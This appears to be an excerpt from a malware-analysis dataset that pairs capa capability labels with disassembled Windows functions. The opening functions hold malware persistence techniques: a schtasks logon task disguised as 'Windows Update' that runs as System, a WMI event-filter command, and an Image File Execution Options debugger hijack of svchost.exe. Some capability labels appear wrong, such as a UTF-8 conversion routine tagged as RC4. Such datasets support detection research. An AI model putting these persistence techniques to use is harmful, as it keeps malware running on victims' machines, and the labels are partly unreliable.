joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401f44
Capabilities:
Create process on windows
Schedule task via schtasks

Disassembly:
push edi
mov edx, ecx
xor eax, eax
mov ecx, 0x10
push esi
push ebx
sub esp, 0xb0
mov esi, dword [edx]
lea edi, [esp + 0x70]
lea ebx, [esp + 0x54]
mov byte [esp + 0x5c], 0
rep stosd dword es:[edi], eax
mov edi, dword [edx + 4]
lea eax, [esp + 0x5c]
mov ecx, ebx
mov dword [esp + 0x54], eax
xor eax, eax
mov dword [esp + 0x58], eax
lea eax, [edi + 0x2b]
mov dword [esp], eax
mov dword [esp + 0x6c], 0x44
call fcn.0041e530
mov ecx, ebx
push edx
mov dword [esp + 4], 0x2b
mov dword [esp], str.schtasks__create__tn__Windows_Update___tr__
call fcn.004015be
push ecx
push ecx
mov ecx, ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call fcn.004015be
mov ecx, ebx
push esi
push esi
mov dword [esp], str.___sc_onlogon__ru_System
call fcn.0041d6d0
push edi
mov dword [esp], eax
lea ecx, [esp + 0x3c]
call fcn.0041eb90
mov ecx, ebx
push eax
call fcn.0041c610
lea eax, [esp + 0x6c]
mov dword [esp + 0x24], ebx
mov dword [esp + 0x20], eax
xor eax, eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], eax
mov dword [esp + 8], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 0x28
mov eax, dword [esp + 0x54]
mov dword [esp], eax
call ebx
push eax
mov eax, dword [esp + 0x58]
mov dword [esp], eax
call ebx
push eax
lea ecx, [esp + 0x3c]
call fcn.0041c610
add esp, 0xb0
pop ebx
pop esi
pop edi
ret

Function at 0x402042
Capabilities:
Execute command
Reference sql statements

Disassembly:
sub esp, 0x3c
mov dword [esp], str.wmic__namespace:_root_subscription_PATH___EventFilter_CREATE_Name_WindowsUpdate___EventNameSpace_rootcimv2___QueryLanguage_WQL___Query_SELECT__FROM___InstanceModificationEvent_WITHIN_60_WHERE_TargetInstance_ISA_Win32_PerfFormattedData_PerfOS_System_
lea ecx, [esp + 0x18]
call fcn.00401552
push eax
mov eax, dword [esp + 0x18]
mov dword [esp], eax
call sub.msvcrt.dll_system
lea ecx, [esp + 0x18]
call fcn.0041c610
add esp, 0x3c
ret
Function at 0x402070
Capabilities:
Persist via image file execution options registry key
Set registry value

Disassembly:
push ebx
xor eax, eax
mov ebx, ecx
xor edx, edx
xor ecx, ecx
sub esp, 0x48
mov dword [esp + 0x20], eax
lea eax, [esp + 0x3c]
mov dword [esp + 0x18], edx
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 8], ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], 0x20006
mov dword [esp + 4], str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options_svchost.exe
mov dword [esp], 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebx + 4]
sub esp, 0x24
inc eax
mov dword [esp + 0x14], eax
mov eax, dword [ebx]
xor ebx, ebx
mov dword [esp + 8], ebx
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 0xc], 1
mov dword [esp + 4], str.Debugger
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
sub esp, 0x18
mov eax, dword [esp + 0x3c]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
add esp, 0x48
pop ebx
ret

Function at 0x40c320
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.00412980
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.00412980
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
Function at 0x40c380
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x43506c]
test esi, esi
jle 0x40c4a0
mov eax, dword [0x435070]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x40c3b4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x40c437
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x40c3a0
mov dword [esp], ebx
call fcn.0040cd80
mov edi, eax
test eax, eax
je 0x40c4c7
mov eax, dword [0x435070]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.0040cec0
mov edx, dword [0x435070]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x40c4a7
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x40c430
lea edx, [eax - 0x40]
and edx, 0xffffffbf
jne 0x40c440
add dword [0x43506c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x435070]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x40c430
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.0040c320
lea esi, cs:[esi]
nop
xor esi, esi
jmp 0x40c3be
mov eax, dword [0x435070]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.0040c320
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.0040c320
lea esi, cs:[esi]
nop

Function at 0x40c9f0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x435088
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x435080]
sub esp, 4
test ebx, ebx
je 0x40ca45
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
mov esi, eax
sub esp, 4
call edi
test esi, esi
je 0x40ca3e
test eax, eax
jne 0x40ca3e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x40ca20
mov dword [esp], 0x435088
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40cd80
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x40cda5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x40cdb0
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x40cda5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x40cdf8
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40cdee
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40cdfa
add ecx, 1
add eax, 0x28
cmp esi, ecx
jne 0x40cde0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x414b50
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ecx, 0x1a
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x80]
mov esi, 0x4235dd
push ebx
sub esp, 0x9c
mov eax, dword [0x4235dc]
mov dword [ebp - 0x81], eax
mov eax, dword [0x423641]
mov dword [ebp - 0x1c], eax
rep movsd dword es:[edi], dword [esi]
mov edx, dword [ebp + 0xc]
sub edx, dword [ebp + 8]
lea eax, [edx + 0x84]
and eax, 0xfffffff0
call fcn.0040d0d8
mov ecx, 0x1a
sub esp, eax
lea esi, [ebp - 0x81]
mov dword [ebp - 0x8c], edx
lea ebx, [esp + 0x1b]
and ebx, 0xfffffff0
mov edi, ebx
lea eax, [ebx + 0x68]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp + 8]
mov dword [esp + 8], edx
mov dword [esp], eax
mov dword [esp + 4], ecx
call sub.msvcrt.dll_memcpy
mov edx, dword [ebp - 0x8c]
mov byte [ebx + edx + 0x68], 0
mov dword [esp], ebx
call fcn.00420ca4
nop
nop
nop
nop
nop
nop
nop
push edi
push esi
push ebx
sub esp, 0x20
cmp byte [0x4220f8], 0
jne 0x414c76
mov byte [0x4220f8], 1
call fcn.00420090
test eax, eax
je 0x414c44
mov ebx, dword [eax + 4]
xor eax, eax
cmp byte [ebx], 0x2a
mov dword [esp + 8], 0
sete al
mov dword [esp + 4], 0
add ebx, eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0xffffffff
mov dword [esp + 0xc], eax
mov dword [esp], ebx
call fcn.0040bf30
mov dword [esp], 2
mov esi, dword [fcn.00412980]
mov edi, eax
call esi
mov dword [esp + 8], 0x30
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_after_throwing_an_instance_of_
call sub.msvcrt.dll_fwrite
mov edx, dword [esp + 0x1c]
mov dword [esp], 2
test edx, edx
je 0x414c34
call esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_fputs
mov dword [esp], 2
call esi
mov dword [esp + 8], 2
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], 0x42342d
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x1c]
test eax, eax
jne 0x420b94
jmp 0x420b8c
call esi
mov dword [esp], edi
mov dword [esp + 4], eax
call sub.msvcrt.dll_fputs
jmp 0x414bfa
mov dword [esp], 2
call dword [0x422040]
mov dword [esp + 8], 0x2d
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_without_an_active_exception_n
call sub.msvcrt.dll_fwrite
jmp 0x420b87
mov dword [esp], 2
call dword [0x422040]
mov dword [esp + 8], 0x1d
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], 0x4233dc
call sub.msvcrt.dll_fwrite
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x4bc6dc
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [eax + 4]
push ebx
push esi
push edi
mov edi, dword [esp + 0x18]
cmp ecx, dword [edi + 4]
jge 0x4bc6f5
mov esi, edi
mov edi, eax
jmp 0x4bc6f7
mov esi, eax
mov eax, dword [esi + 4]
mov ebx, dword [esp + 0x10]
cmp eax, dword [ebx + 8]
jg 0x4bc707
mov eax, ebx
jmp 0x4bc711
push eax
push ebx
call fcn.004a34ac
add esp, 8
test eax, eax
jne 0x4bc719
pop edi
pop esi
pop ebx
ret
xor eax, eax
cmp dword [edi + 4], eax
jle 0x4bc737
mov edx, dword [esi]
mov ecx, dword [edi]
mov edx, dword [edx + eax*4]
xor edx, dword [ecx + eax*4]
mov ecx, dword [ebx]
mov dword [ecx + eax*4], edx
add eax, 1
cmp eax, dword [edi + 4]
jl 0x4bc720
cmp eax, dword [esi + 4]
jge 0x4bc74e
mov edx, dword [esi]
mov edx, dword [edx + eax*4]
mov ecx, dword [ebx]
mov dword [ecx + eax*4], edx
add eax, 1
cmp eax, dword [esi + 4]
jl 0x4bc73c
mov eax, dword [esi + 4]
test eax, eax
mov dword [ebx + 4], eax
jle 0x4bc771
mov ecx, dword [ebx]
lea ecx, [ecx + eax*4 - 4]
mov edx, dword [ecx]
sub ecx, 4
test edx, edx
jne 0x4bc76e
sub eax, 1
test eax, eax
jg 0x4bc75e
mov dword [ebx + 4], eax
pop edi
pop esi
mov eax, 1
pop ebx
ret

Function at 0x5207fc
Capabilities:
Decrypt data using tea
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push ebx
push esi
mov edx, dword [ecx]
mov ebx, 0x20
mov esi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 8], edx
mov edx, dword [ecx + 4]
mov dword [ebp - 4], edx
mov edx, dword [ecx + 8]
mov ecx, dword [ecx + 0xc]
push edi
mov edi, 0xc6ef3720
mov dword [ebp + 0xc], edx
mov dword [ebp - 0xc], ecx
mov edx, esi
dec ebx
shr edx, 5
add edx, ecx
mov ecx, esi
shl ecx, 4
add ecx, dword [ebp + 0xc]
xor edx, ecx
lea ecx, [edi + esi]
xor edx, ecx
sub eax, edx
mov edx, eax
mov ecx, eax
shr edx, 5
add edx, dword [ebp - 4]
shl ecx, 4
add ecx, dword [ebp - 8]
xor edx, ecx
lea ecx, [edi + eax]
xor edx, ecx
lea edi, [edi + 0x61c88647]
mov ecx, dword [ebp - 0xc]
sub esi, edx
test ebx, ebx
jg 0x520831
mov ecx, dword [ebp + 8]
pop edi
mov dword [ecx], esi
pop esi
mov dword [ecx + 4], eax
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x520c6c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push ebx
push esi
mov edx, dword [ecx]
mov ebx, 0x20
mov esi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 4], edx
mov edx, dword [ecx + 4]
mov dword [ebp + 0xc], edx
mov edx, dword [ecx + 8]
mov ecx, dword [ecx + 0xc]
push edi
xor edi, edi
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], ecx
mov edx, eax
lea edi, [edi - 0x61c88647]
shr edx, 5
mov ecx, eax
add edx, dword [ebp + 0xc]
dec ebx
shl ecx, 4
add ecx, dword [ebp - 4]
xor edx, ecx
lea ecx, [edi + eax]
xor edx, ecx
add esi, edx
mov edx, esi
mov ecx, esi
shr edx, 5
add edx, dword [ebp - 8]
shl ecx, 4
add ecx, dword [ebp - 0xc]
xor edx, ecx
lea ecx, [edi + esi]
xor edx, ecx
add eax, edx
test ebx, ebx
jg 0x520c9e
mov ecx, dword [ebp + 8]
pop edi
mov dword [ecx], esi
pop esi
mov dword [ecx + 4], eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x52a45c
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x10125210]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 0x28], esi
push edi
mov edi, dword [ebp + 0xc]
cmp ebx, 0x40
jle 0x52a496
lea eax, [ebp - 0x24]
push eax
push ebx
push edi
call fcn.0052a09c
add esp, 0xc
lea edi, [ebp - 0x24]
mov ebx, 0x20
push 0x40
lea eax, [esi + 0x68]
push 0x36
push eax
call fcn.0053729c
push 0x40
add esi, 0xa8
push 0x5c
push esi
call fcn.0053729c
add esp, 0x18
test ebx, ebx
jle 0x52a4d4
nop
movzx eax, byte [edi]
lea edi, [edi + 1]
xor byte [esi - 0x40], al
lea esi, [esi + 1]
movzx eax, byte [edi - 1]
xor byte [esi - 1], al
sub ebx, 1
jne 0x52a4bc
mov esi, dword [ebp - 0x28]
push 0
push esi
call fcn.0052a51c
push 0x40
lea eax, [esi + 0x68]
push eax
push esi
call fcn.0052a55c
mov ecx, dword [ebp - 4]
add esp, 0x14
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00533fd1
mov esp, ebp
pop ebp
ret

Function at 0x53329c
Capabilities:
Decrypt data using tea
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push ebx
push esi
mov edx, dword [ecx]
mov ebx, 0x20
mov esi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 8], edx
mov edx, dword [ecx + 4]
mov dword [ebp - 4], edx
mov edx, dword [ecx + 8]
mov ecx, dword [ecx + 0xc]
push edi
mov edi, 0xc6ef3720
mov dword [ebp + 0xc], edx
mov dword [ebp - 0xc], ecx
mov edx, esi
dec ebx
shr edx, 5
add edx, ecx
mov ecx, esi
shl ecx, 4
add ecx, dword [ebp + 0xc]
xor edx, ecx
lea ecx, [edi + esi]
xor edx, ecx
sub eax, edx
mov edx, eax
mov ecx, eax
shr edx, 5
add edx, dword [ebp - 4]
shl ecx, 4
add ecx, dword [ebp - 8]
xor edx, ecx
lea ecx, [edi + eax]
xor edx, ecx
lea edi, [edi + 0x61c88647]
mov ecx, dword [ebp - 0xc]
sub esi, edx
test ebx, ebx
jg 0x5332d1
mov ecx, dword [ebp + 8]
pop edi
mov dword [ecx], esi
pop esi
mov dword [ecx + 4], eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x53346c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push ebx
push esi
mov edx, dword [ecx]
mov ebx, 0x20
mov esi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 4], edx
mov edx, dword [ecx + 4]
mov dword [ebp + 0xc], edx
mov edx, dword [ecx + 8]
mov ecx, dword [ecx + 0xc]
push edi
xor edi, edi
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], ecx
mov edx, eax
lea edi, [edi - 0x61c88647]
shr edx, 5
mov ecx, eax
add edx, dword [ebp + 0xc]
dec ebx
shl ecx, 4
add ecx, dword [ebp - 4]
xor edx, ecx
lea ecx, [edi + eax]
xor edx, ecx
add esi, edx
mov edx, esi
mov ecx, esi
shr edx, 5
add edx, dword [ebp - 8]
shl ecx, 4
add ecx, dword [ebp - 0xc]
xor edx, ecx
lea ecx, [edi + esi]
xor edx, ecx
add eax, edx
test ebx, ebx
jg 0x53349e
mov ecx, dword [ebp + 8]
pop edi
mov dword [ecx], esi
pop esi
mov dword [ecx + 4], eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x57be6c
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0057ba53
Function at 0x57be77
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0057bbe2

Function at 0x5939dc
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x593a09
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x593a09
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0xd22270
Capabilities:
Hash data using djb2

Disassembly:
push ebx
push edi
push esi
mov ecx, dword [esp + 0x14]
test ecx, ecx
je 0xd222aa
mov edx, dword [esp + 0x10]
mov edi, 0x1505
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [edx + esi]
test ebx, ebx
je 0xd222b1
mov eax, edi
shl eax, 5
add eax, edi
add eax, ebx
inc esi
mov edi, eax
cmp ecx, esi
jne 0xd22290
jmp 0xd222b3
mov eax, 0x1505
jmp 0xd222b3
mov eax, edi
pop esi
pop edi
pop ebx
ret

Function at 0xd28970
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
mov eax, dword [0xd620d0]
cmp eax, 0x270
jne 0xd289cf
mov eax, 0xfffff640
mov edx, dword [0xd620d4]
nop
nop
nop
nop
nop
nop
nop
nop
and edx, 0x80000000
mov esi, dword [eax + 0xd62a98]
mov ecx, esi
and ecx, 0x7ffffffe
or ecx, edx
mov edx, esi
and esi, 1
neg esi
and esi, 0x9908b0df
xor esi, dword [eax + 0xd630c8]
shr ecx, 1
xor esi, ecx
mov dword [eax + 0xd63454], esi
add eax, 4
jne 0xd28990
mov eax, 0x270
jmp 0xd289e5
cmp eax, 0x4e0
jb 0xd289e5
mov ecx, 0xd620d0
call fcn.00d28c10
mov eax, dword [0xd620d0]
lea ecx, [eax + 1]
mov dword [0xd620d0], ecx
mov eax, dword [eax*4 + 0xd620d4]
mov ecx, eax
shr ecx, 0xb
and ecx, dword [0xd63454]
xor ecx, eax
mov eax, ecx
shl eax, 7
and eax, 0x9d2c5680
xor eax, ecx
mov ecx, eax
shl ecx, 0xf
and ecx, 0xefc40000
xor ecx, eax
shr ecx, 0x12
and eax, 0x7fff
xor eax, ecx
pop esi
ret

Function at 0xd28c10
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
push edi
push esi
xor eax, eax
mov edx, 0x80000000
nop
nop
nop
nop
nop
nop
mov ebx, dword [ecx + eax*4 + 0x9c4]
and ebx, edx
mov esi, dword [ecx + eax*4 + 0x9c8]
mov edi, esi
and edi, 0x7ffffffe
or edi, ebx
and esi, 1
neg esi
and esi, 0x9908b0df
xor esi, dword [ecx + eax*4 + 0xff8]
shr edi, 1
xor esi, edi
mov dword [ecx + eax*4 + 4], esi
mov esi, eax
and esi, 1
xor eax, 1
lea eax, [eax + esi*2]
cmp eax, 0xe3
jb 0xd28c20
mov eax, 0xe3
mov edx, 0x80000000
mov ebx, dword [ecx + eax*4 + 0x9c4]
and ebx, edx
mov edi, dword [ecx + eax*4 + 0x9c8]
mov esi, edi
and esi, 0x7ffffffe
or esi, ebx
shr esi, 1
and edi, 1
neg edi
xor esi, dword [ecx + eax*4 - 0x388]
and edi, 0x9908b0df
xor esi, edi
mov dword [ecx + eax*4 + 4], esi
mov esi, eax
and esi, 1
xor eax, 1
lea eax, [eax + esi*2]
cmp eax, 0x26f
jb 0xd28c70
mov edx, 0x80000000
and edx, dword [ecx + 0x1380]
mov eax, 0x7fffffff
and eax, dword [ecx + 4]
or eax, edx
mov edx, eax
shr edx, 1
mov esi, eax
xor esi, 0xfffffffe
or eax, 1
and eax, esi
je 0xd28ce0
mov eax, 0x9908b0df
xor edx, dword [ecx + 0x634]
xor edx, eax
mov dword [ecx + 0x9c0], edx
mov dword [ecx], 0
pop esi
pop edi
pop ebx
ret
Function at 0xd2a7a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xc
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
movzx ebx, byte [edx]
test bl, bl
je 0xd2aa21
mov esi, dword [esp + 0x2c]
mov edi, dword [esp + 0x24]
dec edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
test esi, esi
je 0xd2a7dc
cmp edx, esi
jae 0xd2aa21
test edi, edi
je 0xd2aa21
movzx ebp, bl
test bl, bl
js 0xd2a810
inc edx
lea ecx, [eax + 2]
mov word [eax], bp
mov esi, ecx
sub esi, eax
sar esi, 1
sub edi, esi
mov eax, ecx
mov esi, dword [esp + 0x2c]
movzx ebx, byte [edx]
test bl, bl
jne 0xd2a7d0
jmp 0xd2aa21
mov ecx, ebp
and ecx, 0xffffffe0
cmp ecx, 0xc0
jne 0xd2a84d
cmp bl, 0xc2
jb 0xd2a800
movzx ebx, byte [edx + 1]
movzx esi, bl
mov ecx, esi
and ecx, 0xffffffc0
cmp ecx, 0x80
jne 0xd2a8c3
and ebp, 0x1f
shl ebp, 6
add edx, 2
and esi, 0x3f
or esi, ebp
jmp 0xd2a916
mov ecx, ebp
and ecx, 0xfffffff0
cmp ecx, 0xe0
jne 0xd2a877
movzx ecx, byte [edx + 1]
cmp bl, 0xed
je 0xd2a8cd
cmp ebp, 0xe0
jne 0xd2a8d6
mov ebx, ecx
add bl, 0x40
cmp bl, 0xe0
jb 0xd2a7fc
jmp 0xd2a8d6
mov ecx, ebp
not ecx
mov esi, ecx
or esi, 0xf8
add esi, ebp
inc esi
cmp esi, 0xf0
jne 0xd2a9fc
lea esi, [ebp + 1]
cmp bl, 0xf4
ja 0xd2a7fc
movzx ebx, byte [edx + 1]
je 0xd2a921
cmp ebp, 0xf0
jne 0xd2a92a
mov dword [esp], ebx
mov ebx, dword [esp]
add bl, 0x40
cmp bl, 0xd0
mov ebx, dword [esp]
jb 0xd2a7fc
jmp 0xd2a92a
inc edx
mov esi, dword [esp + 0x2c]
jmp 0xd2a803
cmp cl, 0x9f
ja 0xd2a7fc
mov esi, ecx
and esi, 0xffffffc0
cmp esi, 0x80
jne 0xd2aa03
movzx ebx, byte [edx + 2]
movzx esi, bl
mov dword [esp], esi
and esi, 0xffffffc0
cmp esi, 0x80
jne 0xd2aa09
shl ebp, 0xc
and ecx, 0x3f
shl ecx, 6
or ecx, ebp
add edx, 3
mov esi, dword [esp]
and esi, 0x3f
or esi, ecx
lea ecx, [eax + 2]
mov word [eax], si
jmp 0xd2a7f2
cmp bl, 0x8f
ja 0xd2a7fc
mov dword [esp + 8], esi
mov esi, ebx
and esi, 0xffffffc0
cmp esi, 0x80
jne 0xd2aa03
mov dword [esp], ebx
movzx ebx, byte [edx + 2]
movzx ebp, bl
mov esi, ebp
and esi, 0xffffffc0
cmp esi, 0x80
jne 0xd2aa09
movzx ebx, byte [edx + 3]
movzx esi, bl
mov dword [esp + 4], esi
and esi, 0xffffffc0
cmp esi, 0x80
jne 0xd2aa15
or ecx, 7
add ecx, dword [esp + 8]
shl ecx, 0x12
mov esi, dword [esp]
shl esi, 0xc
add ecx, esi
add ecx, 0xfff80000
and ebp, 0x3f
shl ebp, 6
or ebp, ecx
add edx, 4
mov ecx, ebp
and ecx, 0xfffff800
cmp ecx, 0xd800
je 0xd2a7fc
mov ecx, dword [esp + 4]
and ecx, 0x3f
or ecx, ebp
cmp ecx, 0x10000
jb 0xd2a7fc
cmp edi, 2
jb 0xd2a9fc
add ebp, 0xf0000
shr ebp, 0xa
and ebp, 0x3ff
or ebp, 0xd800
mov word [eax], bp
mov esi, 0x3ff
sub esi, ecx
and esi, 0x3ff
xor esi, 0xdfff
lea ecx, [eax + 4]
mov word [eax + 2], si
jmp 0xd2a7f2
mov ecx, eax
jmp 0xd2a7f2
inc edx
jmp 0xd2a7fc
add edx, 2
mov esi, dword [esp + 0x2c]
jmp 0xd2a803
add edx, 3
mov esi, dword [esp + 0x2c]
jmp 0xd2a803
mov word [eax], 0
sub eax, dword [esp + 0x20]
sar eax, 1
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret